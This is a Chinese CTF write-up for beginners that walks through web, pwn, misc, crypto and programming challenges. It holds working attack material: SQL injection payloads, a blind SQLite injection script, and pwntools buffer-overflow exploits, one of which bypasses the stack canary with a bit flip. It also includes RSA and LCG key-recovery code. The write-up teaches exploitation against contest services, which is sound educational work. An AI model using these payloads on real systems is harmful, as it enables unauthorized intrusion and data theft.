⚠:如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员,用语会比较口语化,如有不严谨的地方还请见谅
WEB
easy_SQL
拿到题第一步先审计代码,这里过滤只有一个clean函数,按照常规有两种解题思路
1.在查
pass
的地方绕过,在name
后输入管理员账号即可。但问题就是,我们现在并没有管理员账号,因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除2.、在
name
或pass
里插入联合查询,以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况,而且还会出现单/双引号被clean过滤的情况
怎么办呢?我们先把query里的sql语句提取出来做一下研究
SELECT * FROM users WHERE name='".$username."' AND pass='".$password."';
假设我现在输入的username=admin,password=123,那么就是
SELECT * FROM users WHERE name='admin' AND pass='123';
这里我们先尝试把AND pass
删掉,在username输入\
SELECT * FROM users WHERE name='admin\' AND pass='123';
为什么这样就叫把AND pass
删掉呢?因为原本在admin后的引号被斜杠转义成了内容,丧失了原先用来“框住”字符串的功能,而这个功能已经被pass=
后面的引号给替代。此时我们只要在password输入or 1=1 --
,SQL语句变成
SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123';
123';
就会被注释掉,而这句语句where后面的条件因为or 1=1
而100%成立,因此就会执行SELECT * FROM users
,即可拿到flag。
这里有个细节需要注意,就是--
后面是要带个空格的,一些浏览器会把URL中最后一个空格删掉,因此要手动补一个%20
时光密钥
PS:本题由于容器实例时间校对有错,因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好,多算了二十几秒就开始发包尝试
打开实例,根据提示,先算出合适的时间戳,再用burp抓包修改一下即可
在网上找到现在的时间戳
burp抓包
为了方便操作,我们把数据包发到repeater
更新一下时间戳,预估个比当前时间戳多20到25秒左右的时间放到password,不断点击send直至出现下面所示的cookie即可
根据所给提示里的博客可知,base64解码该cookie即可获得下面结果
将gift值后面的东西进行base32解码即可
terrible_php
emm这道题并没有达到预期的考察效果,一开始看到做出来的人实在太少干脆直接放p神的wp了,可还是没几个人写出来┑( ̄Д  ̄)┍
P神写的比我详细,看提示里的博客就行了
有尝试p神wp的新手如果做不出来我猜大概率是因为不知道POST包和GET包格式和header的区别,可以对照一下上面的数据包看你缺了什么
好吃,爱吃,多吃
很典的一道屎山代码分析+session伪造,拿到题后先来看看附件(不了解session的先去提示的博客里了解一下)
映入眼帘的secret_key
不要丢,一会儿要用。
我们先来分析一下根目录路由
当你访问了这个网站后,代码逻辑可以画个类似像下面这样的流程图
因此利用关键就在于要在数据创建并写入文件夹之前将你想要写入的数值写入到balance
因此我们用flask-session-cookie-manager
来自己构造一个session,利用首页和附件所给的数据就能构造
然后买就完啦
你也想知道我的密码吗?
一道 sqlite 盲注题,flag 在数据库中,我们通过返回的密码复杂程度或者返回的时间,从而来判断注入是否正确
select group_concat(sql) from sqlite_master where type='table'
由于是 sqlite 数据库,我们可以直接使用这一语句来获取创建数据表时候的CREATE
语句,直接拿到字段名和表名,甚至还有插入的 FLAGsubstr((),1,1)
常用的这个函数,对获取的数据进行截断,截取数据中的第一位数据hex(substr((),1,1))
sqlite 中没有像 mysql 一样的 ascii 函数,所以我们使用 hex 来进行编码
此处需要注意 hex("l") => 6C
这里是大写字母 C
,而我们 python hex(108) => 0x6c
是小写的 c
,这个地方需要进行大写处理 hex(j)[2:].upper()
import requests
import time
url = "http://127.0.0.1:3000/randomPassword?level="
escape_chars = ['/','\'','[',']','%','&','_','(',')']
table_name = "flag,level"
sql = "CREATE TABLE flag( fl4g_1s_HeR3"
flag = ""
for i in range(1,30):
for j in range(32,127):
# payload = "-1'union select hex(substr((select group_concat(tbl_name) FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%%'),%s,1))='%s'--" % (i,hex(j)[2:].upper())
# payload = "-1'union select hex(substr((select group_concat(sql) from sqlite_master where type='table'),%s,1))='%s'--" % (i,hex(j)[2:].upper())
payload = "-1'union select hex(substr((select group_concat(fl4g_1s_HeR3) from flag),%s,1))='%s'--" % (i,hex(j)[2:].upper())
r = requests.get(url + payload).text
index = r.index("<div class=\"result\">")+len("<div class=\"result\">")
password = r[index:index+5]
time.sleep(0.1)
if password.isalpha():
flag += chr(j)
print(flag)
# exit()
break
PWN
宇宙射线
有一个明显易受攻击的获取调用,但canary可以防止缓冲区溢出。此外,单个位翻转不足以导致任何canary泄漏。不过,该程序是在没有 PIE 的情况下编译的,因此程序指令(特别是那些检查canary是否被覆盖的指令)中的位可以被overwritten。
0x00000000004016e7 <+158>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004016eb <+162>: sub rdx,QWORD PTR fs:0x28
0x00000000004016f4 <+171>: je 0x4016fb <main+178>
0x00000000004016f6 <+173>: call 0x401130 <__stack_chk_fail@plt>
在获取调用后,会立即检查堆栈canary,并调用 je(jump-if-equal)指令,如果canary没有被覆盖,程序将正常继续;如果被覆盖,则调用 stack_chk_fail。不过,我们可以翻转地址 0x4016f4 的最低位,将字节从 0x74 改为 0x75。参考操作码表(如此处的操作码表:http://ref.x86asm.net/coder32.html),就会知道这将指令从 je 变为 jne。这样我们就可以覆盖canary指令,因为如果canary指令被覆盖,程序将继续执行标准指令;如果canary指令未被覆盖,程序将调用 stack_chk_fail。然后只需简单的 ret2win 即可拿到flag。
下面是exp
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("../dist/cosmicray",checksec=False)
def conn():
if args.REMOTE:
p = remote("127.0.0.1", 4077)
else:
p = process(elf.path)
return p
p = conn()
p.recvuntil(b'it:\n')
p.sendline(b'0x4016f4')
p.recvuntil(b'):\n')
p.sendline(b'7')
p.recvuntil(b'today:\n')
payload = b'A'*56 + p64(elf.symbols['win']) + p64(elf.symbols['exit'])
p.sendline(payload)
print(p.recv().decode())
哈比哈比
分析题目
我们nc 连一下,题目让我们在1秒内给它一串 0xAEAEAE…….. 随后链接就被服务器掐了 0x 在这里提示这是一串16进制 HEX 我们复制下来看下它的长度
1024,一个0xAE 是一个bytes(字节) 那么就是发送一个512字节全部是0xAE的包
发送方法
管道符操作大师直接秒了(bushi 管道符稍后介绍,我们先看pwntools基本使用
PWNTOOLS
python3 -m venv venv/pwnvenv
source venv/pwnvenv/bin/activate
这里我们使用venv模块新建一个虚拟环境,不隔离直接装各种各样包的话,很有可能因为多个包冲突导致依赖地狱,直接把python环境搞炸非常痛苦 这里是以Linux演示的,其他系统搜索引擎搜搜就能知道对应系统的venv怎么用
这里我们使用清华镜像源安装pwntools
像这样没有报错的话就是安装正常 编写一个 py 脚本
导入pwn包
发起一个远程连接,参数分别为目的地址,端口
接收一行
发送 0xAE 512次
切换到交互模式 在Python里 0xAE 字节的表示方式是 b’\xae’ 这里是一个点,服务器需要的是 0xAE对应的字节,而不是 AE 这个字符串,跑一下脚本,就拿到FLAG了
一把梭
这里一把梭的要点是xxd的使用和管道的操作
python3 -c “print(‘ae’ * 512)” #该命令目的是输出512次ae字符串
xxd -r -p #将管道传来的字符串反序列化为字节流
| 便是管道符,将上一个程序的stdout输出传给后一个程序的stdin输入 如此便一秒内传输了512字节给服务器
欢迎来到TKKCTF!
easy_pwn
下面是exp(出题者留言:有啥问题在群上问就好)
from pwn import *
r = remote("192.168.7.9",1234)
#r = prcoess("./pwn")
elf = ELF("./pwn")
xujc = elf.sym['xujc']
r.sendline('yes')
ret = 0x000000000040101a
payload = b'a'*(0x20+0x8) +p64(ret) +p64(xujc)
r.recvuntil('number is???\n')
r.sendline(payload)
r.interactive()
MISC
我家踏上了信息高速路
一个压缩文件,解压一下 发现两封邮件
User-Agent: Mozilla Thunderbird
From: 091285e5-08f0-4ef1-9e34-82ee7736b49a
<091285e5-08f0-4ef1-9e34-82ee7736b49a@mail.tkksec>
Subject: flag{here_is_flag}
Content-Language: en-US
User-Agent 提示 Thunderbird(thunderbird.net)
下载一个,打开邮件
提示加密了,看看另一个
很正常的一封邮件,看看源码
动图对应的文件名为提示有 _.gpg.gz
右键图像保存下来
binwalk 跑一下
└─$ binwalk Desktop/img_v3_025u_e10adc3949ba59abbe56e057f20f883e_____.gpg.gz.gif
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 GIF image data, version "89a", 70 x 70
25815 0x64D7 gzip compressed data, has original file name: "_____.gpg", from Unix, last modified: 2023-12-08 07:23:03
提示有一个 gz 压缩文件
binwalk -e 分离gif和gz文件
└─$ file Desktop/_img_v3_025u_e10adc3949ba59abbe56e057f20f883e_____.gpg.gz.gif.extracted/_____.gpg
Desktop/_img_v3_025u_e10adc3949ba59abbe56e057f20f883e_____.gpg.gz.gif.extracted/_____.gpg: OpenPGP Secret Key Version 4, Created Fri Dec 8 07
:21:51 2023, EdDSA; User ID; Signature; OpenPGP Certificate
发现有私钥
导入Thunderbird
小恐龙の空岛生存日记——1
首次进入存档后发现默认没有权限这里可以 设置-在局域网开启 开启作弊
tp到石头后猛按按钮传送到指定地点
完成拼图后可以得到以下内容
根据存档名得到提示
这里使用/seed指令得到信息
这里用编码工具ord(十进制)转hex(十六进制)再转str(字符串)
和python中long_to_bytes函数是一样的道理
得到flag的后半段
Xujc{the_secret_hide_in_map_and_SEEEED}
小恐龙の空岛生存日记——2
在卫继龚的反作弊中可以发现我们在更改游戏模式后会被设置回冒险模式,但其他指令是可以正常执行,因此正常解题过程为使用tp指令出到房间之外
通过/fill指令填充一个长方体区域的方块,覆盖为空气方块得到flag
Xujc{Re411y_M1necraft_H4acker}
饺进制
全文只有饺和子两个字符可以联想二进制
并且为240个为8的整数倍(8位bit一个字符)
尝试替换饺为0 子为1得到,并且用工具填充八位一个空格 bin(二进制)转str得到
eHVqY3toNHBweV8yMDI0X3llNHJffQ
一段神秘的编码,观察可得有数字有大小写,猜测为缺少等号的base64(hint也解释说==被当场饺子吃掉了),base64字符数量应为4的倍数,因此填充两个之后解码得到flag
xujc{h4ppy_2024_ye4r_}
让风告诉你
(感谢卫继龚的倾情演唱)
很基础的音频隐写,打开频谱图发现高频处藏有信息(这个故事告诉我们多拉一拉频谱密度)
Xujc{Geshin_Wei_QiDong}
(这个实在太难画了导致Genshin少了个n,出题人也懒得补了)
起飞!
在图片中看到飞机注册号,B-2769
知道是厦门航空的飞机,因此可以猜测目标为国内航班
搜索如何查询历史航线
后面几个都要钱,这里我用免费的软件(飞常准)查一下这家飞机5月4日的航班,结合拍摄时间和起飞地是厦门,就可以知道答案
flag:xujc{MF8307_三亚凤凰}
脑筋急转弯
1070*20=21400
根据提示知道必须要*10才是压缩包密码,所以密码是214000
flag:xujc{w1nn4r_ju3t_easy}
CRYPTO
Ook:
提示很明显了,能教的都教了,看个过程就好。
https://www.splitbrain.org/services/ook
值得一提的是,这里utools可以直接识别base64.
rabbit解密
http://www.jsons.cn/rabbitencrypt/
这里唯一有问题的是Accepted的大小写,但是回来群里发链接统一了解密网站,这里不会有问题,因为在不同网站你解密的内容可能不一样,解题的时候多试几个。
实际上出题的时候一开始设置的是大写,但是在线自动转小写了,后面flag都重新换了一次。(这里就算你解出来大写,那也可以爆,但是还是降低了难度),秘钥自己猜呗。
出栅栏完全是当年某位学长给我出过,让我看看你们怎么样。
http://www.hiencode.com/railfence.html
然后随便找个md5的网站https://www.sojson.com/md5/,加密就好,就两重加密,4种情况,就算我不说32位大写你也应该得到flag。
外面套个xujc{}就好了。
######xujc{BC3E0C9B13EAB997EE1E55219DCE09D1}
又见LCG
代码传群里了。
提示也传了:
思路也早传群里:
这都看不懂的话,那就算了。
from Crypto.Util.number import *
x1=10668108606508679678829870036410342270971954605536447170403446727331441504383
x3=17312453359485472395637448717174215508224761283553437799053755021727582828746
x5=54082836126291173962815936719406691972062661570756946331952088410842594175361
x7=40671949051580212156016437693021635620215091367477613409815710830668232450531
x9=39910198625565531405655330312729275962499336419084394484072188125129257452533
x = [x1, x3, x5, x7, x9]
t = []
def legendre(a, p):
return pow(a, (p - 1) // 2, p)
def tonelli(n, p):
assert legendre(n, p) == 1, "not a square (mod p)"
q = p - 1
s = 0
while q % 2 == 0:
q //= 2
s += 1
if s == 1:
return pow(n, (p + 1) // 4, p)
for z in range(2, p):
if p - 1 == legendre(z, p):
break
c = pow(z, q, p)
r = pow(n, (q + 1) // 2, p)
t = pow(n, q, p)
m = s
t2 = 0
while (t - 1) % p != 0:
t2 = (t * t) % p
for i in range(1, m):
if (t2 - 1) % p == 0:
break
t2 = (t2 * t2) % p
b = pow(c, 1 << (m - i - 1), p)
r = (r * b) % p
c = (b * b) % p
t = (t * c) % p
m = i
return r
for i in range(1, len(x)):
t.append(x[i] - x[i-1])
m = 0
for i in range(1, len(t)-1):
m = GCD(t[i+1]*t[i-1] - t[i]*t[i], m)
for p in sieve_base:
while m % p == 0: m //= p
assert isPrime(m)
a = (x7 - x5) * inverse(x5 - x3, m) % m
a = tonelli(a%m, m)
b = (x3 - a*a*x1)*inverse(a+1, m) % m
inva = inverse(a, m)
for i in range(2**17):
x1 = (x1-b)*inva % m
flag = long_to_bytes(x1)
if b'xujc' in flag:
print(flag)
Flag:xujc{fuuuckinglcg!!}
没有数学
解压1:
保留4位小数就是8.1406啦
解压2:
最简单的古典了,凯撒,我前面推的3个工具都是直接秒的(不会看都不看吧)
当然,先写个脚本呈上:
其他我就不展示了。
最后就只是让你们认识一下RSA。
xujc{congratulations!!you are so good!!go on!!}
一点点数学
代码很多,这个
https://github.com/sliedes/xor_factor
c=41288686624046193859618499605915730795319260591694269705243154207038862099049313531037807198054068595800215802217766973181939623628516820133841772202072546766861812073621511997762686289129695187777856977668978808992244521777801964292657780443318587323288631599472457833249512119935549274098267824978186013189
n=73822410148110759760164946405270228269255384237831275745269402590230495569279769799226813942899942423718229747478982630879557319063920515141217164980012063064986634632452289290326704640527699568662492105204165609614169349755365956569362139057327962393611139347462018186440108621311077722819578905265976612923
p_xor_q= 4022178299192834780394784673790879912458792785441021920912043531036331103029928972200897782557324520022739359728431795051649290732172250534992752378287402
e=65537
import gmpy2
from Crypto.Util.number import *
from itertools import *
# 爆破p,q,从低位开始
plist,qlist = [0],[0]
mod = 1
for i in range(512):
mod *= 2
next_plow,next_qlow = [],[]
for pl,ql in zip(plist,qlist):
for ph,qh in product([0,1],repeat = 2): # 得到(0,0),(0,1),(1,0),(1,1)
p_mod = ph * (mod // 2) + pl
q_mod = qh * (mod // 2) + ql
if p_mod * q_mod % mod == n % mod and p_mod ^ q_mod == p_xor_q % mod:
next_qlow.append(q_mod)
next_plow.append(p_mod)
plist,qlist = next_plow,next_qlow
for p,q in zip(plist,qlist):
if p * q == n:
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
break
# xujc{welcome to the world of crypto!}
p,q出了,那最后就是个简单的RSA。
c=2163968717761358823681375636542788204243298284913301278689352294840874732694230415839227932616869923850799785513295618917726176270377860344117500123101849835970872709439080938527799316219224916868884131070345920617989267319261472258728979674381729360061222210450234078000454224651943837385836637953546676295053700517788488973696696831672420272711112097014156023868688221618536613068650019238824497663044580266875788693359291755304803799838718456252329640394905466288628032436695716635134411668818294645764172861720469605421256077496098143829760032751450143305091988357010289848237463790988960062781822568078916972223
N=17117149139828320177333732531678731754953765844389927606485156051314025436742026906588205743146615553710655504099289270114153279934651252391149015406623121782216078733238383127414601907536625837687110908865286988512303200598033162540733081264421955852849989099147416288014640157166408387619838293070028840292012025589664060414760724893967335025969119257997888567864291162218209607545209457883523178080849846704683707101352456983995118501816551146419049563846616688908335185670366792910799838277489428429959598829739968832189689764826318130444266519677104293672202900358505493797249022440796576282823808395439552376391
gift= 30703171385995804343759579289965814451994234204623218399801911761082603294908254045049598157360604325339570802217639626056984410281508641286184016813993712851798303787447859920918176301097
gift <<=400
PR.<x> = PolynomialRing(Zmod(N))
ok = False
def pq_xor(tp,tq,idx):
global ok
if ok:
return
if tp*tq>N:
return
if (tp+(2<<idx))*(tq+(2<<idx))<N:
return
if idx<=400:
try:
f = tp + x
rr = f.monic().small_roots(X=2^400, beta=0.4)
if rr != []:
print(rr)
print(tp)
print('p = ',f(rr[0]))
ok = True
return
except:
pass
return
idx -=1
b = (gift >>idx)&1
one = 1<<idx
if b==0:
pq_xor(tp,tq,idx)
pq_xor(tp+one,tq+one,idx)
else: #1
pq_xor(tp+one,tq,idx)
pq_xor(tp,tq+one,idx)
tp = 1<<1023
tq = 1<<1023
pq_xor(tp,tq,1023)
#
p = 136612276430881754382025384046282066810022640108365498198153232358812786550743780817588616784879392550440685830049646814649316108917520639597493670071118625312548053830499786492732161732980417415432633008945232066684564939996208815786574413024627885878169876965658996230884262198150143813808398504744952804789
N=17117149139828320177333732531678731754953765844389927606485156051314025436742026906588205743146615553710655504099289270114153279934651252391149015406623121782216078733238383127414601907536625837687110908865286988512303200598033162540733081264421955852849989099147416288014640157166408387619838293070028840292012025589664060414760724893967335025969119257997888567864291162218209607545209457883523178080849846704683707101352456983995118501816551146419049563846616688908335185670366792910799838277489428429959598829739968832189689764826318130444266519677104293672202900358505493797249022440796576282823808395439552376391
q=N//p
print("p=",p)
print("q=",q)
#sage中如果有问题就运行在python中。
from gmpy2 import *
from Crypto.Util.number import *
p= 136612276430881754382025384046282066810022640108365498198153232358812786550743780817588616784879392550440685830049646814649316108917520639597493670071118625312548053830499786492732161732980417415432633008945232066684564939996208815786574413024627885878169876965658996230884262198150143813808398504744952804789
q= 125297298215278987834200962903802815999255084571282920447425110212435290661517995090042863756853662780654903032908005288958565009538436181837838975184772768038375587792968030330399953497804474117595978042016983145349191032742114944479010005002781456415604333924939080507012723268257961171877139966180541108619
c=2163968717761358823681375636542788204243298284913301278689352294840874732694230415839227932616869923850799785513295618917726176270377860344117500123101849835970872709439080938527799316219224916868884131070345920617989267319261472258728979674381729360061222210450234078000454224651943837385836637953546676295053700517788488973696696831672420272711112097014156023868688221618536613068650019238824497663044580266875788693359291755304803799838718456252329640394905466288628032436695716635134411668818294645764172861720469605421256077496098143829760032751450143305091988357010289848237463790988960062781822568078916972223
n=17117149139828320177333732531678731754953765844389927606485156051314025436742026906588205743146615553710655504099289270114153279934651252391149015406623121782216078733238383127414601907536625837687110908865286988512303200598033162540733081264421955852849989099147416288014640157166408387619838293070028840292012025589664060414760724893967335025969119257997888567864291162218209607545209457883523178080849846704683707101352456983995118501816551146419049563846616688908335185670366792910799838277489428429959598829739968832189689764826318130444266519677104293672202900358505493797249022440796576282823808395439552376391
gift= 30703171385995804343759579289965814451994234204623218399801911761082603294908254045049598157360604325339570802217639626056984410281508641286184016813993712851798303787447859920918176301097
e=65537
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m= pow(c,d,n)
print(long_to_bytes(m))
xujc{wow!you should know it!we need you!!}
PPC
Miku清洁工
We are given an online minesweeper website. The character walks on the map to sweep bombs, and pick up keys. We can hit at most 8 bombs, and need to pick up 40 keys.
By simple reversing the JavaScript, we can figure out the websocket interaction format.
I created a naive AI for minesweeper: if the status of an 3×3 area could be determined, the determine it. Each time, if there is known keys, we pick it up, otherwise we choose any undiscovered safe block. If such block does not exist, we pick up any block.
import websocket
import json, heapq
n = 30
m = 50
ws = websocket.WebSocket()
ws.connect('ws://mikusweeper.chals.sekai.team/socket')
def print_board(board, hero):
for i in range(n):
t = ''
for j in range(m):
v = board[i][j]
if i == hero['y'] and j == hero['x']:
t += 'C'
elif v == 'covered':
t += '?'
elif v.startswith('c'):
assert len(v) == 2
t += v[1:]
elif v == 'key':
t += 'k'
elif v == 'bomb':
t += '*'
else:
print('unk', v)
exit(1)
print(t)
is_mine = [[-1 for _ in range(m)]for _ in range(n)]
num = [[-1 for _ in range(m)]for _ in range(n)]
def deduct(x, y):
if x < 0 or x >= n or y < 0 or y >= m:
return
if is_mine[x][y] != 0 or num[x][y] == -1:
return
mi = 0
ma = 0
for i in range(-1, 2):
for j in range(-1, 2):
if i == 0 and j == 0:
continue
x1 = x + i
y1 = y + j
if 0 <= x1 < n and 0 <= y1 < m:
t = is_mine[x1][y1]
if t == -1:
ma += 1
elif t == 1:
mi += 1
ma += 1
assert mi <= num[x][y] <= ma
if mi == num[x][y] or ma == num[x][y]:
tt = int(ma == num[x][y])
for i in range(-1, 2):
for j in range(-1, 2):
if i == 0 and j == 0:
continue
x1 = x + i
y1 = y + j
if 0 <= x1 < n and 0 <= y1 < m:
t = is_mine[x1][y1]
if t == -1:
is_mine[x1][y1] = tt
chain_near(x1, y1)
def chain_near(x, y):
for i in range(-1, 2):
for j in range(-1, 2):
deduct(x + i, y + j)
def update_board(old, cur):
keys = []
for i in range(n):
for j in range(m):
v = cur[i][j]
if old is None or old[i][j] != v:
if v == 'covered':
continue
elif v.startswith('c'):
assert len(v) == 2
is_mine[i][j] = 0
num[i][j] = int(v[1:])
chain_near(i, j)
elif v == 'key':
is_mine[i][j] = 0
keys.append((i, j))
chain_near(i, j)
elif v == 'bomb':
is_mine[i][j] = 1
chain_near(i, j)
else:
print('unk', v)
exit(1)
return keys
def getrandpath(cur, target):
stx = cur['y']
sty = cur['x']
lst = [[None for _ in range(m)]for _ in range(n)]
dis = [[1e9 for _ in range(m)]for _ in range(n)]
lst[stx][sty] = (-1, -1, '')
dis[stx][sty] = 0
q = [(0, stx, sty)]
dires = [(-1, 0, 'up'), (1, 0, 'down'), (0, -1, 'left'), (0, 1, 'right')]
while True:
d, x, y = heapq.heappop(q)
if d != dis[x][y]:
continue
# print(d, x, y)
if (x, y) == target or (target is None and oldmap[x][y] == 'covered' and is_mine[x][y] != 1):
break
for dx, dy, dv in dires:
x1 = x + dx
y1 = y + dy
if 0 <= x1 < n and 0 <= y1 < m:
v = is_mine[x1][y1]
cost = 100 if v == -1 else 1 if v == 0 else 500
if dis[x1][y1] > dis[x][y] + cost:
dis[x1][y1] = dis[x][y] + cost
heapq.heappush(q, (dis[x1][y1], x1, y1))
lst[x1][y1] = x, y, dv
res = []
while x != -1:
rx, ry, u = lst[x][y]
res.append(u)
x, y = rx, ry
return res[::-1]
oldmap = None
while True:
s = json.loads(ws.recv())
if s['numKeysRetrieved'] == 40:
print(s)
keys = update_board(None, s['map'])
oldmap = s['map']
# print_board(oldmap, s['hero'])
path = getrandpath(s['hero'], keys[0] if keys else None)
print(s['numKeysRetrieved'], s['livesRemaining'], s['hero'], path)
ws.send('\n'.join(path))
# print(ws.recv())